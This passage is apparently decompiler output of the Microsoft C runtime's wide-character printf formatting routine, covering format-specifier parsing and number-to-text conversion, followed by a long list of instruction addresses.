														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE00(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xf9b80f80
															E00424670(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xfe6faf80
																	E00424670(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xfe6d6f80
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428310(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AE00(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE00(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B540(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00428310(__ebp + 0x14);
													__eax = E00433EC0();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E330();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
														__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041ADD0(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428310(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E0041AE00(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004311D0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428310(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428310(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428310(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430740( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004307C0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L0041E330();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E20(_t543))) = 0x16;
										E00422BB0(_t534, _t543, _t594, _t595, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E0041ADD0(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E0042BC70(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L0041E330();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E0041ADD0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422E20(_t535))) = 0x16;
									E00422BB0(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E0041ADD0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0x440f80; // 0x404478
					 *(_t596 - 4) = _t567;
					_t484 = E0041DDD0( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x0043bed4
0x0043bed4
0x0043bed4
0x0043bed4
0x0043bed4
0x0043bed4
0x0043bed8
0x0043bedd
0x0043bee0
0x0043beed
0x00000000
0x00000000
0x0043beef
0x0043beef
0x0043bef9
0x0043bf18
0x0043bf1e
0x0043bf46
0x0043bf4d
0x0043bf53
0x0043bf56
0x0043bf59
0x0043bf5f
0x0043bf62
0x0043bf20
0x0043bf20
0x0043bf26
0x0043bf29
0x0043bf2c
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf3a
0x0043bf3d
0x0043bf3d
0x0043bf65
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x0043c66a
0x0043c670
0x0043c67a
0x0043c694
0x0043c6ae
0x0043c6b5
0x0043c6b9
0x0043c6b9
0x0043c696
0x0043c69b
0x0043c69f
0x0043c69f
0x0043c67c
0x0043c681
0x0043c685
0x0043c685
0x0043c67a
0x0043c6c9
0x0043c6d5
0x0043c6eb
0x0043c6f0
0x0043c6f0
0x0043c706
0x0043c70b
0x0043c714
0x0043c71c
0x0043c732
0x0043c737
0x0043c737
0x0043c71c
0x0043c73e
0x0043c7f8
0x0043c80b
0x0043c810
0x00000000
0x0043c744
0x0043c744
0x0043c748
0x00000000
0x00000000
0x0043c74e
0x0043c751
0x0043c75a
0x0043c760
0x0043c760
0x0043c76f
0x0043c777
0x00000000
0x00000000
0x0043c779
0x0043c77c
0x0043c7a1
0x0043c7a6
0x0043c7a9
0x0043c7b6
0x0043c7c4
0x0043c7d7
0x0043c7dc
0x0043c7eb
0x00000000
0x0043c7eb
0x0043c7b8
0x0043c7b8
0x00000000
0x0043c7b8
0x0043c7f6
0x0043c813
0x0043c81a
0x0043c822
0x0043c838
0x0043c83d
0x0043c83d
0x0043c822
0x0043c81a
0x0043c840
0x0043c844
0x0043c84c
0x0043c851
0x0043c854
0x0043c854
0x0043c85b
0x0043c85b
0x0043b9db
0x0043b9e2
0x0043b9ef
0x0043b9f4
0x00000000
0x0043ba07
0x0043ba11
0x0043ba38
0x0043ba1f
0x0043ba30
0x0043ba30
0x0043ba11
0x0043ba42
0x0043ba48
0x0043ba54
0x0043ba57
0x0043ba65
0x0043ba68
0x0043ba75
0x0043bb1a
0x0043bb20
0x0043bb2d
0x00000000
0x00000000
0x0043bb33
0x0043bb39
0x00000000
0x0043bb40
0x0043bb40
0x0043bb5a
0x0043bb5f
0x00000000
0x00000000
0x0043bb67
0x0043bb67
0x0043bb6e
0x0043bb71
0x0043bb74
0x0043bb77
0x0043bb7a
0x0043bb7d
0x0043bb80
0x0043bb87
0x0043bb8e
0x00000000
0x00000000
0x0043bb9a
0x0043bb9a
0x0043bba1
0x0043bbad
0x0043bbb0
0x0043bbb6
0x0043bbbd
0x00000000
0x00000000
0x0043bbbf
0x0043bbc5
0x0043bbc5
0x0043bbcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc10
0x0043bc10
0x0043bc17
0x0043bc1a
0x0043bc44
0x0043bc47
0x0043bc47
0x0043bc51
0x0043bc51
0x0043bc55
0x0043bc1c
0x0043bc1c
0x0043bc28
0x0043bc2b
0x0043bc2f
0x0043bc31
0x0043bc34
0x0043bc34
0x0043bc37
0x0043bc3a
0x0043bc3d
0x0043bc3f
0x0043bc3f
0x0043bc42
0x0043bc58
0x00000000
0x00000000
0x0043bc5d
0x0043bc5d
0x00000000
0x00000000
0x0043bc69
0x0043bc69
0x0043bc70
0x0043bc73
0x0043bc93
0x0043bc96
0x0043bc96
0x0043bca0
0x0043bca0
0x0043bca4
0x0043bc75
0x0043bc75
0x0043bc81
0x0043bc84
0x0043bc88
0x0043bc8a
0x0043bc8a
0x0043bc91
0x00000000
0x00000000
0x0043bcac
0x0043bcac
0x0043bcb3
0x0043bcbf
0x0043bcc2
0x0043bcc8
0x0043bccf
0x0043bde2
0x00000000
0x0043bde2
0x0043bcd5
0x0043bcdb
0x0043bcdb
0x0043bce2
0x00000000
0x0043bd19
0x0043bd19
0x0043bd1c
0x0043bd1f
0x0043bd22
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd4f
0x0043bd52
0x0043bd76
0x0043bd76
0x0043bd79
0x0043bd7c
0x0043bd7f
0x0043bdb8
0x0043bdc9
0x00000000
0x0043bdc9
0x0043bd81
0x0043bd81
0x0043bd84
0x0043bd87
0x0043bd8a
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd8f
0x0043bd92
0x0043bd95
0x00000000
0x00000000
0x0043bd97
0x0043bd97
0x0043bd9a
0x0043bd9d
0x0043bda0
0x00000000
0x00000000
0x0043bda2
0x0043bda2
0x0043bda5
0x0043bda8
0x0043bdab
0x00000000
0x00000000
0x0043bdad
0x0043bdad
0x0043bdb0
0x0043bdb3
0x0043bdb6
0x0043bdba
0x00000000
0x0043bdba
0x00000000
0x0043bdb6
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5b
0x0043bd5e
0x00000000
0x0043bd60
0x0043bd63
0x0043bd66
0x0043bd6c
0x0043bd71
0x00000000
0x0043bd71
0x0043bd5e
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2b
0x0043bd2e
0x00000000
0x0043bd30
0x0043bd33
0x0043bd36
0x0043bd3c
0x0043bd41
0x00000000
0x0043bd41
0x00000000
0x0043bdcb
0x0043bdcb
0x0043bdce
0x0043bdd1
0x00000000
0x00000000
0x0043bce9
0x0043bce9
0x0043bcec
0x0043bcef
0x0043bcf2
0x0043bd0b
0x0043bd0e
0x0043bd0e
0x0043bd11
0x0043bcf4
0x0043bcf4
0x0043bcf7
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd06
0x00000000
0x00000000
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bdd9
0x0043bddf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bde7
0x0043bde7
0x0043bdee
0x0043bdf4
0x0043bdfa
0x0043bdfd
0x0043be03
0x0043be0a
0x00000000
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c617
0x0043c61d
0x0043c620
0x0043c623
0x0043c626
0x0043c629
0x0043c62f
0x0043c62f
0x0043c62f
0x0043c637
0x0043c63b
0x00000000
0x00000000
0x0043c63d
0x0043c63d
0x0043c640
0x0043c643
0x0043c643
0x0043c648
0x0043c64b
0x0043c64e
0x0043c651
0x0043c654
0x0043c657
0x0043c65a
0x0043c65a
0x0043c65d
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x0043be10
0x0043be16
0x0043be16
0x0043be1d
0x00000000
